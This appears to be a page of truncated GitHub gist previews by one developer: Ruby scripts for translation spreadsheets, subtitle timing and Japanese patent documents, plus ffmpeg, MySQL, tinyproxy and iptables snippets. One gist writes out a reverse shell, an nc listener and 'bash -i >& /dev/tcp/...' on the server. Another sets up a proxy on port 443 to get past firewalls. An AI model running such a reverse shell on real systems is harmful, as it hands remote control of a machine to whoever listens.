This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
#encoding: UTF-8 | |
# | |
#by James Rubingh james@wrive.com | |
require 'roo' | |
TRAN_TYPE = "翻訳" | |
CHECK_TYPE = "英文チェック" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# record video on os x | |
# full resolution isn't smooth, and my new macbook has a shitty (not HD?) isight camera | |
ffmpeg -f avfoundation -video_size 640x480 -framerate 30 -i "0:0" out-`date +%y%m%d%H%M%S`.mp4 | |
#ffmpeg -f avfoundation -video_size 640x480 -framerate 30 -i "0:0" out-`date +%y%m%d%H%M%S`.mp4 | |
#ffmpeg -f avfoundation -video_size 640x480 -pix_fmt yuv422p -framerate 30 -i "0:0" out-`date +%y%m%d%H%M%S`.mp4 | |
#list devices |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# encoding: UTF-8 | |
# script to sync .srt rips from http://jpsubbers.web44.net/Japanese-Subtitles/ | |
# to match timing of jdramacity versions (remove commercial breaks from .srt files) | |
require 'srt' | |
require 'charlock_holmes' | |
if ARGV.count != 2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#I have no idea what the correct way to do this is | |
#couldn't use .gsub(regex, 'need \1') because sometimes I needed to format the capture | |
#so i implmented it in a block to gsub | |
tex.gsub!(regex) do | |
res = "thing with \1 and \2 and \3" | |
Regexp.last_match.captures.each_with_index do |match, i| | |
if match =~ /^請求項[\p{N},~、-及びおよ]+$/ | |
res = res.gsub(/\\#{i+1}/, format_invention_according_to(match)) | |
else |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ brew info mysql | |
mysql: stable 5.6.25 (bottled) | |
Open source relational database management system | |
https://dev.mysql.com/doc/refman/5.6/en/ | |
Conflicts with: mariadb, mysql-cluster, mysql-connector-c, percona-server | |
/usr/local/Cellar/mysql/5.6.25 (9835 files, 339M) * | |
.... | |
$ mysql.server start |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# encoding: UTF-8 | |
# == matches the Examiner name from ==: | |
# 特許出願の番号 特願2014-551499 | |
# 起案日 平成27年 6月22日 | |
# 特許庁審査官 衣鳩 文彦 9199 5X00 | |
# 特許出願人代理人 佐伯 義文(外 1名) 様 | |
# 適用条文 第29条第2項、第36条 | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#on client, listen for incoming tcp connections | |
$ nc -l -p 8080 -vvv | |
-------- | |
#on server, execute shell with remote input | |
$ my_ip = 0.0.0.0 | |
$ bash -i >& /dev/tcp/$my_ip/8080 0>&1 | |
#on server, execute shell with ruby |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ brew update && brew upgrade | |
$ brew install tinyproxy | |
$# Most firewalls allow http CONNECT over port 443 to allow https, so run tinyrpoxy on 443 | |
$ cat > /usr/local/Cellar/tinyproxy/1.8.3/etc/tinyproxy.conf <<EOF | |
User nobody | |
Group nobody | |
Port 443 | |
Timeout 600 | |
DefaultErrorFile "/usr/local/Cellar/tinyproxy/1.8.3/share/tinyproxy/default.html" | |
StatFile "/usr/local/Cellar/tinyproxy/1.8.3/share/tinyproxy/stats.html" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
IPT=/sbin/iptables | |
ETH=enp6s0 | |
WLAN=wlp0s26u1u6 | |
modprobe rt2800usb | |
sleep 2 | |
ifconfig $WLAN 10.0.0.1 netmask 255.255.255.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
IPT=/sbin/iptables | |
# Flush old rules, old custom tables | |
echo " * flushing old rules" | |
$IPT --flush | |
$IPT --delete-chain | |
$IPT -t nat -F |
NewerOlder